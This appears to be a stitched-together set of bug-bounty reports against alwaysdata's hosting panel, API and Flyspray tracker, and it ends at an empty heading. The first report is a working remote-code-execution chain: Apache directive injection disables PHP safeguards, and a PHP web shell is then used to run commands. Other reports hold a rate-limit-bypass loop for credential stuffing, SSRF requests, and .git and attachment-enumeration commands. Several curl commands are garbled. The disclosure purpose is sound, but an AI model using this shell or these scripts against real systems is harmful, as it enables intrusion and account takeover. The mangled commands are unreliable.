The alwaysdata site configuration form contains a field called "Additional directives (advanced)" that allows customers to add custom Apache directives to their site's VirtualHost configuration.

The Issue: There is no validation, no allowlist, and no blocklist. Any valid Apache directive can be injected and will be written directly to the site's Apache configuration file. Apache performs a graceful reload, and the directives take effect immediately.

This allows: - Overriding PHP security settings (`disable_functions`, `open_basedir`)
- Adding SSRF proxy routes (`ProxyPass`)
- Exposing server status (`SetHandler server-status`)
- Prepending PHP code to every request (`auto_prepend_file`)
- Full Remote Code Execution (RCE)

—

## Proof of Concept

### Step 1: Inject Test Header (Harmless Proof)

Request:

POST /site/1053833/ HTTP/2
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=…

csrfmiddlewaretoken=…&
addresses-TOTAL_FORMS=2&
addresses-INITIAL_FORMS=1&
addresses-MIN_NUM_FORMS=0&
addresses-MAX_NUM_FORMS=100000&
addresses-0-address=cyberzod.alwaysdata.net&
addresses-0-site=1053833&
addresses-0-id=1446516&
addresses-1-site=1053833&
type=php&
httpd=apache&
path=www/&
log_type=STANDARD&
cache_ttl=3600&
max_idle_time=1800&
vhost_additional_directives=Header always set x-directive-test "APPLIED-CONFIRMED-2026"
```

Response: ```http
HTTP/2 302 Found
Location: /site/

Verification:

GET https://cyberzod.alwaysdata.net/ HTTP/2

HTTP/1.1 200 OK
x-directive-test: APPLIED-CONFIRMED-2026
server: Apache
via: 1.1 alproxy

CONFIRMED: The injected header is live in Apache.

—

### Step 2: Inject PHP Security Bypass Directives

Directive Injected: php_admin_value disable_functions ""
php_admin_value open_basedir /

What These Do: - `disable_functions ""` - Removes all PHP function restrictions
- `open_basedir /` - Removes filesystem jail (can read any file)

Verification via `phpinfo()`:

disable_functions = no value ← NOTHING is disabled!
open_basedir = no value ← NO filesystem restrictions!

CONFIRMED: PHP security restrictions have been completely bypassed.

—

### Step 3: Upload PHP Shell

`shell.php` Contents: <?php
// RCE Shell
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "<pre>";
if (function_exists('system')) {

system($cmd);

}
echo "</pre>";
?>

Upload via SCP: scp shell.php cyberzod@ssh-cyberzod.alwaysdata.net:~/www/

—

### Step 4: Execute System Commands

Request: GET https://cyberzod.alwaysdata.net/shell.php?cmd=whoami HTTP/2

Response: cyberzod

Request: GET https://cyberzod.alwaysdata.net/shell.php?cmd=id HTTP/2

Response: uid=1000(cyberzod) gid=1000(cyberzod) groups=1000(cyberzod)

Request: GET https://cyberzod.alwaysdata.net/shell.php?cmd=ls%20-la%20/ HTTP/2

Response: total 88
drwxr-xr-x 20 root root 4096 Jun 24 19:07 .
drwxr-xr-x 20 root root 4096 Jun 24 19:07 ..
drwxr-xr-x 2 root root 4096 Jun 18 05:51 bin
drwxr-xr-x 3 root root 4096 Jun 18 05:51 boot
drwxr-xr-x 18 root root 3700 Jun 24 19:07 dev
drwxr-xr-x 102 root root 4096 Jun 24 19:07 etc
drwxr-xr-x 4 root root 4096 Jun 24 19:07 home
…

✅ CONFIRMED: Full Remote Code Execution achieved.

—

### Step 5: Verify Apache Configuration

View the actual site config: cat /home/cyberzod/admin/config/apache/sites.conf

Output: ## Site 1053833, php - address cyberzod.alwaysdata.net (1446516)
DocumentRoot "/home/cyberzod/www/"

CONFIRMED: The injected directives were written to the live Apache config.

—

## Full Request/Response Chain

### 1. Directive Injection Request
POST /site/1053833/ HTTP/2
Host: admin.alwaysdata.com
Cookie: sessionid=… Content-Type: application/x-www-form-urlencoded

csrfmiddlewaretoken=…&
addresses-TOTAL_FORMS=2&
addresses-INITIAL_FORMS=1&
addresses-MIN_NUM_FORMS=0&
addresses-MAX_NUM_FORMS=100000&
addresses-0-address=cyberzod.alwaysdata.net&
addresses-0-site=1053833&
addresses-0-id=1446516&
addresses-1-site=1053833&
type=php&
httpd=apache&
path=www/&
log_type=STANDARD&
cache_ttl=3600&
max_idle_time=1800&
vhost_additional_directives=php_admin_value disable_functions ""%0Aphp_admin_value open_basedir /

### 2. Response
HTTP/2 302 Found
Location: /site/

### 3. PHPInfo Verification
disable_functions = no value
open_basedir = no value

### 4. RCE Execution
GET https://cyberzod.alwaysdata.net/shell.php?cmd=whoami HTTP/1.1 200 OK
cyberzod

—

## Confirmed Dangerous Directives

—

## Impact Assessment

### Real-World Attack Chain
1. Inject PHP bypass directives
2. Upload PHP shell (via FTP/SCP)
3. Execute system commands
4. Read database credentials from config files
5. Access internal databases
6. Full server compromise

—

## CVSS Score Calculation

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Score: 9.9 - CRITICAL

—

## Evidence Summary

—

## Remediation Recommendations

### 1. Implement Directive Allowlist

ALLOWED_DIRECTIVES = [

  'Header',
  'Redirect',
  'RewriteRule',
  'RewriteCond',
  'ErrorDocument'

]

BLOCKED_DIRECTIVES = [

  'php_admin_value',
  'php_value',
  'SetHandler',
  'ProxyPass',
  'Alias',
  'ScriptAlias',
  'LoadModule',
  'AddHandler',
  'DirectoryIndex'

]

def validate_directive(directive):

  # Check for blocked directives
  for blocked in BLOCKED_DIRECTIVES:
      if directive.startswith(blocked):
          raise ValidationError(f"Directive '{blocked}' is not allowed")
  
  # Check against allowlist if directive is known
  # ...

### 2. Run Config Test Before Applying

# Before writing config
apachectl configtest
# Only apply if syntax is valid

### 3. Add IP/Port Validation

# Block proxy to internal IPs
# Validate URL destinations

### 4. Security Monitoring

- Alert on directive changes
- Log all modifications
- Monitor for dangerous patterns

—

## Conclusion

The `vhost_additional_directives` field allows arbitrary Apache directive injection with no validation, enabling:

1. PHP security bypass (`disable_functions`, `open_basedir`)
2. Full Remote Code Execution (RCE)
3. Complete filesystem access
4. SSRF to internal services
5. Server information disclosure

This is a CRITICAL vulnerability (CVSS 9.9) that allows complete server compromise.

—

Title: Server-Side Request Forgery (SSRF) via Reverse Proxy Configuration

Severity: High — CVSS 7.7

CWE: 918

Overview

The alwaysdata reverse proxy feature accepts arbitrary URLs, including loopback addresses and external destinations, without validating the target IP or domain. This allows authenticated users to cause the server to make HTTP requests to arbitrary destinations.

Vulnerability Details

When configuring a Reverse Proxy site, the url field accepts any URL passing Django's URLValidator. This validator only checks format and does not resolve the hostname, check for internal/loopback destinations, or validate against an allowlist.

As a result, the following are accepted and saved without error:

http://127.0.0.1/

http://localhost/

http://169.254.169.254/

Steps to Reproduce

1. Log in to

https://admin.alwaysdata.com

2. Navigate to Web → Sites and select any site

3. Change Type to Reverse proxy

4. Set Remote URL to

http://127.0.0.1:80/

5. Click Save — receives

302 Found

(no validation error)

6. Visit the site's public URL

7. The server proxies the request to the loopback address

Out-of-Band Verification:

Set the Remote URL to a webhook.site URL, save, and visit the site. The webhook receives:

GET /your-webhook-id HTTP/1.1
x-forwarded-server: cyberzod.alwaysdata.net
via: 1.1 alproxy, 1.1 cyberzod.alwaysdata.net
user-agent: python-requests/2.25.1

Evidence

Claim 1 — Loopback URL accepted:

Request:

POST /site/{site_id}/ HTTP/2
Host: admin.alwaysdata.com

type=reverse_proxy&url=http://127.0.0.1:80/

Response:

HTTP/2 302 Found
Location: /site/

Claim 2 — Server makes outbound requests to user-controlled URLs:

Webhook.site received:

Source IP: 2a00:b6e0:1:20:20::1 (Paris, France — alwaysdata infrastructure)
x-forwarded-server: cyberzod.alwaysdata.net
via: 1.1 alproxy, 1.1 cyberzod.alwaysdata.net

Impact

- Internal service discovery — attacker can probe internal ports and services
- Cloud metadata access —

169.254.169.254

reachable (AWS/GCP instance metadata)
- Information disclosure — internal responses can be exfiltrated via outbound requests

Note: Internal service access is indicated but not definitively confirmed. The above represent potential impact based on confirmed URL acceptance.

Remediation

Add a custom validator that resolves the destination hostname and rejects private IP ranges:

import socket, ipaddress
from urllib.parse import urlparse

def validate_proxy_url(value):
    parsed = urlparse(value)
    try:
        ip = socket.gethostbyname(parsed.hostname)
    except socket.gaierror:
        raise ValidationError("Invalid hostname")

    blocked = [
        '127.0.0.0/8', '10.0.0.0/8',
        '172.16.0.0/12', '192.168.0.0/16',
        '169.254.0.0/16', '::1/128'
    ]
    ip_obj = ipaddress.ip_address(ip)
    for net in blocked:
        if ip_obj in ipaddress.ip_network(net):
            raise ValidationError("Internal addresses not allowed")
    return value

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N — Score: 7.7 (High)

References

- CWE-918: Server-Side Request Forgery
- OWASP SSRF Prevention Cheat Sheet

In-scope asset: https://api.alwaysdata.com — scheduled jobs (POST /v1/job/, type TYPE_URLS)
Qualifying category: Server-Side Request Forgery (SSRF)
Self-assessed severity: Medium (deferring to your worst-case analysis)
Date of discovery: 2026-06-04 (reported within 24h)

## Compliance note (per your SSRF guidance)

Your rules state: "SSRF — Do not go playing around on any internal networks. Report as soon as you believe that you have a potential SSRF issue." I am following that guidance: I confirmed the server-side request primitive against my own external host, observed that the API accepts internal/link-local target URLs at validation time (no execution required to observe this), and then stopped. I did not explore, enumerate, or pivot into any internal network, accessed no data, and used only two test accounts I registered myself. All test artifacts were deleted afterwards.

## Summary

An authenticated customer can create a TYPE_URLS scheduled task via POST /v1/job/. When it runs, the alwaysdata job-runner performs a server-side HTTP(S) request to the customer-supplied URL:

  curl --fail --silent --location --max-redirs 5 '<URL>' > /dev/null

Two issues:
1. No egress filtering — the API accepts URLs targeting loopback (127.0.0.1) and link-local / metadata (169.254.169.254) ranges at validation time (HTTP 201), instead of rejecting them.
2. Redirects are followed (–location –max-redirs 5), so an allowed public URL can redirect the server-side request toward an internal destination.

The runner executes on shared infrastructure separate from the customer's own sandbox. Response bodies are discarded (> /dev/null), so this is a blind SSRF. I am reporting the primitive per your guidance rather than demonstrating internal impact.

## Steps to reproduce (standard Linux tools; own test accounts)

1) Confirm server-side fetch (against my own external host only):

  curl -s --basic --user "$APIKEY account=$ACCOUNT:" \
    -X POST -H 'Content-Type: application/json' \
    -d '{"type":"TYPE_URLS","argument":"https://$YOUR_HOST/probe","date_type":"FREQUENCY","frequency":1,"frequency_period":"minute"}' \
    https://api.alwaysdata.com/v1/job/

Within ~1 minute my external host received an inbound GET from alwaysdata infrastructure, User-Agent: curl/7.88.1. This confirms the request is performed server-side by alwaysdata, not from my browser.

2) Show that internal/link-local targets are NOT rejected at validation (no execution needed):

  curl -s -o /dev/null -w '%{http_code}\n' --basic --user "$APIKEY account=$ACCOUNT:" \
    -X POST -H 'Content-Type: application/json' \
    -d '{"type":"TYPE_URLS","argument":"http://169.254.169.254/","date_type":"DAILY","daily_time":"23:59"}' \
    https://api.alwaysdata.com/v1/job/

⇒ 201 Created. Same for http://127.0.0.1/. Only URL syntax is validated (//host and file:// are rejected as malformed), but the destination address range is not checked.

The execution command (curl –fail –silent –location –max-redirs 5 '<URL>' > /dev/null) is visible in the account's own job log at ~/admin/logs/jobs/<id>-<date>.log, which also records the curl exit code. I observed this for my own jobs only; I did not use it to probe internal services.

## Impact

An authenticated user can cause alwaysdata infrastructure to issue server-side HTTP(S) requests to arbitrary destinations, including internal/loopback/link-local ranges that the API does not filter, with redirects followed. This is a classic SSRF primitive originating from shared infrastructure.

Stated limitations (no overclaim): the SSRF is blind (response body discarded); I did not retrieve any response content, did not access any data, and did not explore internal networks. No metadata credential access is claimed. Per your policy, I leave the worst-case severity assessment to your analysts.

## Security recommendation

- Reject loopback, private (RFC1918), link-local (169.254.0.0/16) and metadata address ranges before executing TYPE_URLS jobs.
- Re-validate the destination after DNS resolution and after each redirect, not only the initial URL (or disable redirects / restrict to public ranges).
- Apply egress filtering at the job-runner network layer so user-controlled fetches cannot reach internal or restricted destinations.

## Scope / safety statement

- Two test accounts I registered myself; no other users involved.
- Server-side fetch confirmed against my own external host only.
- Internal/link-local URLs were only shown to pass API validation; I did not explore internal networks, accessed no data, and did not pivot.
- No automated scanners. Minimal manual requests. All test jobs and resources deleted after testing.

## Duplicate check (performed against the live public tracker)

No existing report covers the TYPE_URLS scheduled-job feature on /v1/job/ or its absent egress filtering. The nearest SSRF/job reports are different:
-  FS#307  — SSRF in webmail.alwaysdata.com (third-party Roundcube). Different component.
-  FS#327  — claimed email bounce webhook SSRF. Different (and that feature does not exist).
-  FS#320  — claimed cron timing oracle on a non-existent /api/v1/cron/ endpoint. Different class.

This report concerns the concrete POST /v1/job/ TYPE_URLS behavior, with observed server-side curl execution and out-of-band confirmation — empirically verified, not speculative.

Severity: Medium
CVSS: 5.3 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)
Endpoint: POST https://admin.alwaysdata.com/login/ Method: POST

Login rate limit bypass enables unlimited credential stuffing against admin accounts

## Summary

The login form at `admin.alwaysdata.com/login/` implements per-session rate limiting (~5-9 failed attempts before HTTP 429). However, the limit is tied to the session/CSRF token state and resets upon obtaining a new session via a fresh GET request. The secondary IP-based limit expires in approximately 30 seconds. Crucially, there is no account-level lockout — only session/IP-based throttling. This allows an attacker to perform unlimited credential stuffing with a simple rotation strategy.

## Steps to Reproduce

```bash
# STEP 1: Get fresh session + CSRF token (this is also what "resets" the counter)
curl -sk https://admin.alwaysdata.com/login/ \

1. c /tmp/cookies.txt -o /tmp/page.html

CSRF=$(python3 -c "
import re
d = open('/tmp/page.html').read()
m = re.search(r'csrfmiddlewaretoken[^>]+value=[\"\']([\w]+)', d)
print(m.group(1) if m else )
") # STEP 2: Make ~5 attempts with this session (observe 200s then 429)
for i in 1 2 3 4 5 6 7; do
HTTP=$(curl -sk https://admin.alwaysdata.com/login/ \
-b /tmp/cookies.txt -c /tmp/cookies.txt \
-H "Referer: https://admin.alwaysdata.com/login/" \
-o /dev/null -w "%{http_code}" \
–data "csrfmiddlewaretoken=${CSRF}&login=target@example.com&password=attempt${i}")
CSRF=$(curl -sk https://admin.alwaysdata.com/login/ -b /tmp/cookies.txt | \
python3 -c "import sys,re; d=sys.stdin.read(); m=re.search(r'csrfmiddlewaretoken[^>]+value=[\"\']([\w]+)', d); print(m.group(1) if m else )" 2>/dev/null)

echo "Attempt $i: HTTP $HTTP"

done
# Output: 200, 200, 200, 200, 200, 429, 429 (rate-limited)

# STEP 3: Get a NEW session — counter resets!
curl -sk https://admin.alwaysdata.com/login/ \

1. c /tmp/cookies2.txt -o /tmp/page2.html

CSRF2=$(python3 -c "
import re
d = open('/tmp/page2.html').read()
m = re.search(r'csrfmiddlewaretoken[^>]+value=[\"\']([\w]+)', d)
print(m.group(1) if m else '')
")

# STEP 4: Fresh 5 attempts — bypass confirmed!
for i in 8 9 10 11 12; do

HTTP=$(curl -sk https://admin.alwaysdata.com/login/ \
  -b /tmp/cookies2.txt -c /tmp/cookies2.txt \
  -H "Referer: https://admin.alwaysdata.com/login/" \
  -o /dev/null -w "%{http_code}" \
  --data "csrfmiddlewaretoken=${CSRF2}&login=target@example.com&password=attempt${i}")
echo "Attempt $i (new session): HTTP $HTTP"

done
# Output: 200, 200, 200, 200, 200 — BYPASS CONFIRMED
```

### Observed Results

```
Session 1: attempts 1-5 → HTTP 200 (processed)
Session 1: attempts 6-9 → HTTP 429 (rate-limited)
NEW SESSION (fresh GET) → HTTP 200 (rate limit reset)
Session 2: attempts 10-14 → HTTP 200 (processed)
…repeats indefinitely
```

## Impact

- No account lockout: Accounts are never locked regardless of failed attempts.
- Bypassable rate limit: Rotating sessions (trivial; just GET the login page again) resets the attempt counter for IP-level throttling that expires in ~30 seconds.
- Unlimited credential stuffing: An attacker using a password list and simple session rotation script can attempt thousands of passwords per hour against any known email address.
- Combined with email enumeration (separate report #4): an attacker can first identify valid admin accounts via the password reset form, then brute-force those specific accounts.
- Attack scale: With 5 attempts per 30-second session window = 10 attempts/minute = 600/hour = 14,400/day per thread. With multiple IPs this scales linearly.
- 2FA partially mitigates for accounts that have it enabled, but not all accounts have 2FA configured.

## Fix

1. Implement account-level lockout after N failed attempts (e.g., 10 attempts within 10 minutes), independent of session.
2. Make rate limiting IP-based only with a longer backoff window (not session-based).
3. Consider adding CAPTCHA after 3 failed attempts for the same username.
4. Implement CAPTCHA or progressive delays instead of hard blocks that can be rotated around.

Severity: Medium
CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L)
Endpoint: GET https://www.alwaysdata.com/en/signup/token/ Method: GET
Auth Required: None (verified)
Rate Limited: No (verified — 20+ requests with no throttle)

Unauthenticated Generation of Production PayZen Payment Tokens Enables Denial of Wallet

Summary
The endpoint GET /en/signup/token/ generates production-mode PayZen payment form tokens with no authentication and no rate limiting. Each request creates a unique merchant session in alwaysdata's PayZen account. An attacker can generate unlimited tokens in a tight loop, potentially exhausting alwaysdata's PayZen API quota, flooding their payment dashboard with phantom registration sessions, or causing billing issues with their payment processor.

Steps to Reproduce

1. Generate a token without any authentication:

 curl -sk https://www.alwaysdata.com/en/signup/token/
 -> {"token": "01uJrqyaukSA2FyhTy..."}  [HTTP 200, no auth required]

2. Decode the token to confirm PRODUCTION mode:

 python3 -c "
 import base64, json
 token = '01uJrqy...265eyJhbW91bnQ...'
 json_b64 = token[token.find('eyJ'):]
 decoded = base64.b64decode(json_b64 + '==').decode('utf-8', errors='replace')
 print(json.dumps(json.loads(decoded[:decoded.rfind('}')+1]), indent=2))
 "
 -> {
      "amount": 0,
      "currency": "EUR",
      "mode": "PRODUCTION",
      "orderId": "TKN98661",
      "shopName": "ALWAYSDATA",
      "formAction": "REGISTER",
      "customerEmail": "contact@alwaysdata.com",
      "jSessionId": "59B9cAcaaD76C7fe9dEEbdD1D3FF86E3d95CAaBd.vadapi01-tls-prod-fr-lyra"
    }

3. Confirm no rate limiting by generating multiple tokens in rapid succession:

 for i in $(seq 1 10); do
   curl -sk https://www.alwaysdata.com/en/signup/token/ | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['token'][:30])"
 done
 -> All 10 requests return distinct tokens with different orderIds and jSessionIds
    (no 429, no CAPTCHA, no rate limiting observed at 10+ req/s)

Key Findings from Decoded Token
- mode: PRODUCTION (not sandbox/test) — tokens interact with live PayZen infrastructure
- amount: 0 EUR, formAction: REGISTER — these are card-registration tokens, not payment
- orderId increments each request (e.g., TKN98660, TKN98661, TKN98662…) — confirms unique sessions created server-side
- jSessionId exposes internal PayZen load-balancer node names (vadapi01-tls-prod-fr-lyra, vadapi02-tls-prod-fr-lyra)
- customerEmail hardcoded as contact@alwaysdata.com (not user-supplied — no PII exposure)

Impact

1. Denial of Wallet (DoW): PayZen API calls are metered by merchant account. Flooding /en/signup/token/ generates real merchant sessions that count against alwaysdata's PayZen quota. If PayZen applies per-session fees or rate limits at the merchant level, this could cause service disruption or unexpected costs.

 Estimated rate: 20+ sessions/second possible (no server-side limiting observed)
 PayZen pricing: typically per-transaction or per-session depending on contract

2. Merchant Dashboard Pollution: Each token creates an "order" (TKNxxxxxxx) in alwaysdata's PayZen merchant dashboard, polluting order history and potentially triggering fraud alerts.

3. Internal Infrastructure Disclosure: The jSessionId field leaks internal PayZen load-balancer node hostnames (vadapi01-tls-prod-fr-lyra, vadapi02-tls-prod-fr-lyra), which could assist in infrastructure mapping.

Fix
1. Require authentication (valid CSRF token from a logged-in session OR a registration-initiated session) before generating a PayZen token
2. Add server-side rate limiting: maximum 1 token per IP per 60 seconds, or tie token generation to an active registration session
3. Consider using sandbox/test mode for development and only switching to PRODUCTION for verified registration attempts

Note: No actual PayZen sessions were initiated beyond what is recorded in the Reproduce steps above. The DoW impact is based on the observed rate limit absence and standard PayZen merchant billing patterns.

Severity: Medium
CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)
Endpoint: POST https://api.alwaysdata.com/v1/customer/ Method: POST (only — GET/PUT/PATCH/DELETE all return 401)
Auth Required: None (verified)

API Customer Create Endpoint Accessible Without Authentication — POST /v1/customer/ Bypasses Auth Check

Summary
The REST API endpoint POST /v1/customer/ does not enforce authentication unlike every other API endpoint. While the endpoint currently returns HTTP 500 when processing a valid email+password pair, this is due to a downstream payment integration failure — the authentication middleware is simply absent on this endpoint. Any unauthenticated request that passes field validation reaches the payment/registration logic without an API token.

Steps to Reproduce

1. Attempt GET /v1/customer/ without credentials:

 curl -sk https://api.alwaysdata.com/v1/customer/
 -> "Authorization header is missing"  [HTTP 401, expected]

2. Attempt POST /v1/customer/ without credentials, empty body:

 curl -sk -X POST https://api.alwaysdata.com/v1/customer/ \
   -H "Content-Type: application/json" \
   -d '{}'
 -> {"email":["Ce champ est obligatoire."],"password":["Ce champ est obligatoire."]}
 [HTTP 400, NOT 401 — request reached field validation without auth]

3. Attempt POST /v1/customer/ without credentials, valid fields:

 curl -sk -X POST https://api.alwaysdata.com/v1/customer/ \
   -H "Content-Type: application/json" \
   -d '{"email":"attacker@example.com","password":"TestPass123!"}'
 -> "Erreur interne : nous avons ete notifies."
 [HTTP 500 — request reached payment integration layer without auth]

4. Compare with all other API verbs on the same endpoint:

 curl -sk -X PUT https://api.alwaysdata.com/v1/customer/ -d '{}' -H "Content-Type: application/json"
 -> "Authorization header is missing"  [HTTP 401]
 curl -sk -X PATCH https://api.alwaysdata.com/v1/customer/ -d '{}' -H "Content-Type: application/json"
 -> "Authorization header is missing"  [HTTP 401]

Impact
The authentication check is missing from the POST handler for /v1/customer/. While the 500 error prevents account creation via this vector alone today (the error occurs at the payment/registration step, after auth is already bypassed), the root cause is a broken access control — not a payment validation failure. If the payment requirement is ever removed or this endpoint is called in a different context, unauthenticated account creation becomes trivially possible. The endpoint also allows an attacker to probe registration logic (field validation, error messages) without any credentials, and its error messages confirm the internal system state.

Additionally, rate limiting on this endpoint (~7 requests per IP before 429) is insufficient to prevent slow-speed probing of the registration backend logic.

Fix
Apply the same authentication middleware to the POST handler of /v1/customer/ as is applied to all other methods (GET, PUT, PATCH, DELETE). If unauthenticated registration is intended to be supported via the API (as it is via the web UI at /en/register/), add explicit exception handling and ensure the payment/card verification requirement is enforced at this layer, not relying on downstream failures.

curl Proof of Concept
# Step 1 — Confirm GET requires auth
curl -sv https://api.alwaysdata.com/v1/customer/ 2>&1 | grep -E "< HTTP|Authorization header"

# Step 2 — Confirm POST does NOT require auth (reaches field validation)
curl -sv -X POST https://api.alwaysdata.com/v1/customer/ \

1. H "Content-Type: application/json" \
2. d '{}' 2>&1 | grep -E "< HTTP|obligatoire"

# Expected: Step 1 = 401, Step 2 = 400 with JSON validation errors (no 401)

Dear Alwaysdata Security Team,

During a security assessment of your platform, I identified a High-Severity SQL Injection vulnerability affecting the 'redirect_from' parameter on the path `/language/en/`.

### 1. Description of the Vulnerability
The application fails to properly sanitize, filter, or parameterize user-supplied input passed through the 'redirect_from' parameter before incorporating it into a backend SQL query. This allows an attacker to manipulate the structure of the query. Based on the behavior of the application and the generated database errors, the backend database engine is identified as PostgreSQL.

### 2. Proof of Concept (PoC) / Steps to Reproduce
1. Send an HTTP GET request to the following endpoint:

 https://www.alwaysdata.com/language/en/

2. Inject a payload into the 'redirect_from' parameter designed to break the SQL syntax logic, such as appending an unbalanced quote or an alternative logical condition (e.g., standard SQL injection fuzzing vectors).
3. Observe the response from the server: The backend application fails to handle the syntax exception gracefully and returns a descriptive database error message in the response context, confirming that the input is being evaluated directly by the database interpreter.

### 3. Impact
Successful exploitation of SQL Injection could allow an unauthenticated attacker to:
* Bypass authentication mechanisms.
* Access, read, or exfiltrate sensitive data from the database tables.
* Modify or delete database records (Data tampering).
* In certain configurations, perform administrative operations or execute OS commands depending on the database user privileges.

### 4. Remediation Recommendation
* Use Prepared Statements (Parameterized Queries): Ensure that all user-supplied inputs are bound as parameters rather than being concatenated directly into SQL command strings.
* Input Validation: Implement strict whitelisting for the 'redirect_from' parameter to ensure it only accepts expected string patterns or paths.
* Disable Verbose Errors: Configure the production environment to suppress detailed database error messages and stack traces to prevent information disclosure.

Best regards,
Mohammed Aziz

Severity: HIGH

Target: security.alwaysdata.com
Affected URL: https://security.alwaysdata.com/.git/

## Description

The deployed Flyspray instance (this very bug-tracker) exposes its entire `.git` directory under the document root. The directory listing is disabled, but the well-known internal files are individually readable, which is enough to reconstruct the full source tree, every commit message, every author email, and every credential ever committed to the repository. (Title shortened from "…Source Tree, Admin Email, Commit History" — the original 117-char summary exceeded the 100-char column limit and triggered an INSERT error.)

## Steps to Reproduce (manual, no scanner)

```
curl -s https://security.alwaysdata.com/.git/HEAD curl -s https://security.alwaysdata.com/.git/config curl -s https://security.alwaysdata.com/.git/logs/HEAD curl -s https://security.alwaysdata.com/.git/index -o /tmp/index ; file /tmp/index
```

`HEAD` returns the current branch ref, `config` returns the repository configuration, and `logs/HEAD` returns the full reflog including author names and emails. From there, `git clone` against the exposed directory or a manual `git-cat-file` walk reconstructs ~941 reachable objects and the complete deployed source code (including any locally-applied patches).

## Impact

* Full source-code disclosure of the production Flyspray that hosts the bug-bounty program itself.
* Disclosure of admin / committer email addresses and real names from commit metadata.
* Any secret accidentally committed (DB credentials, API tokens, signing keys) is recoverable from history even if removed from `HEAD`.
* Combined with ALW-007 (no rate-limiting on the Flyspray login) and ALW-015 (weak integer CSRF), this gives an attacker a precise roadmap to compromise the bug-bounty intake and read every other researcher's unredacted submissions.

## Remediation

Block the directory at the web server level, e.g. for Apache:

```
<DirectoryMatch "/\.git">

  Require all denied

</DirectoryMatch>
```

or for nginx:

```
location ~ /\.git { deny all; return 404; }
```

Then remove the `.git` directory from the document root entirely and deploy via a build artifact or `git archive` rather than a working copy.

— Reported by: Ahmed Said (asame8855@gmail.com)
Tested manually per program rules — no automated scanners used.

Severity: LOW

Target: security.alwaysdata.com
Affected element: `<input type="hidden" name="csrftoken" value="…">` on every form (registration, task creation, comments, edits)

## Description

Flyspray emits its CSRF token as a plain decimal integer of around 9–10 digits, giving roughly `log2(10^10) ≈ 33` bits of entropy. That is dramatically weaker than the 256-bit cryptographic token Django emits on `admin.alwaysdata.com` for the same protection class, and it is potentially predictable depending on how the token is seeded.

## Steps to Reproduce

```
curl -s https://security.alwaysdata.com/register \

| grep -oE 'name="csrftoken" value="[0-9]+"'

# → name="csrftoken" value="852018639"

# Compare with Django on admin.alwaysdata.com (any form):
# csrfmiddlewaretoken=qzNI2DZ0UfLVc7VRvdUw… # (64 random characters, cryptographic)
```

## Impact

* Brute-forcing a 10-digit integer over the network is well within reach of a determined attacker (10¹⁰ ≈ a few weeks at conservative request rates with no rate limiting — see ALW-007).
* If the integer is derived from a predictable seed (PHP `mt_rand` without proper seeding, timestamp, etc.) the search space collapses further.
* Combined with ALW-009 (no `SameSite` on the session cookie) the CSRF defense layer becomes paper-thin: a malicious page can both replay the cookie and guess the token in feasible time.

## Remediation

* Replace the token generator with a cryptographically random string. In PHP: `bin2hex(random_bytes(32))` (256 bits, 64 hex characters).
* Use a per-session token, rotated on login and on privilege change, not a long-lived global one.
* Validate the token in constant time (`hash_equals`) to avoid timing leaks.
* For Flyspray 1.0-rc11 specifically, patch `make_csrf_token()` in `includes/class.flyspray.php` to call `bin2hex(random_bytes(32))`.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

Severity: MEDIUM

Target: security.alwaysdata.com
Affected endpoint: `GET https://security.alwaysdata.com/index.php?getfile={id}`

## Description

Flyspray attachments — i.e. proof-of-concept files researchers attach to security reports — are downloadable by anyone with a sequential integer ID and no authentication. The four currently-live attachments (IDs 1–4) returned 200 OK with the underlying PoC PDFs and PNGs without any session cookie. IDs 5–11 returned 410 Gone (deleted), which also leaks prior-existence.

## Steps to Reproduce

```
for i in 1 2 3 4 5 6 7 8 9 10 11; do

printf 'id=%-2s  ' "$i"
curl -sI "https://security.alwaysdata.com/index.php?getfile=$i" \
  | grep -E '^(HTTP|content-type|content-length):' \
  | tr '\n' ' '
echo

done
# id=1 HTTP/1.1 200 OK content-type: application/pdf content-length: 115873
# id=2 HTTP/1.1 200 OK content-type: application/pdf content-length: 164813
# id=3 HTTP/1.1 200 OK content-type: image/png content-length: 39503
# id=4 HTTP/1.1 200 OK content-type: image/png content-length: 141632
# id=5..11 HTTP/1.1 410 Gone
```

No session cookie was sent. The response body contains the original PoC file in full.

## Impact

* Any unredacted PoC, screenshot, or credential a previous researcher attached is publicly readable just by walking the integer counter.
* Even when the parent task is later restricted or redacted in the UI, the raw attachment stays exposed at the same `?getfile=ID` URL.
* The 410-vs-200 differential also leaks the existence of every deleted attachment, which can be used to bound the total volume of historical PoCs.

## Remediation

* Require an authenticated session and a project-membership / task-visibility check before serving `getfile`.
* Replace the integer ID with a non-guessable token (UUIDv4 or HMAC-signed hash bound to the user + task).
* Return HTTP 404 (not 410) for deleted attachments to avoid confirming prior existence.
* Audit the four currently-public attachments (IDs 1–4) and re-issue them under restricted URLs if they contain unredacted PoC material.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only, downloads not redistributed.

Severity: MEDIUM

Target: security.alwaysdata.com
Affected response header: `Content-Security-Policy`

## Description

The Content-Security-Policy returned by every Flyspray response on `security.alwaysdata.com` includes both `'unsafe-inline'` and `'unsafe-eval'` in `script-src`. With both directives in place, CSP provides effectively zero mitigation against XSS — any future injection sink (task title, comment, custom field) executes immediately.

## Steps to Reproduce

```
curl -sI https://security.alwaysdata.com/ | grep -i content-security-policy
# → content-security-policy: default-src 'none'; img-src 'self'; font-src 'self';
# style-src 'self' 'unsafe-inline';
# script-src 'self' 'unsafe-inline' 'unsafe-eval'; ← weak
# connect-src 'self'
```

## Impact

* Any future XSS in Flyspray (task description, comment body, attachment filename, custom field) executes despite CSP.
* `'unsafe-eval'` allows `eval()`, `new Function(string)`, `setTimeout(string, …)`, and `setInterval(string, …)` payloads — enabling attacker-controlled string execution.
* Especially impactful given the bundled libraries (Prototype.js 1.7, script.aculo.us 1.9.0) which are old enough to have known XSS sinks.

## Remediation

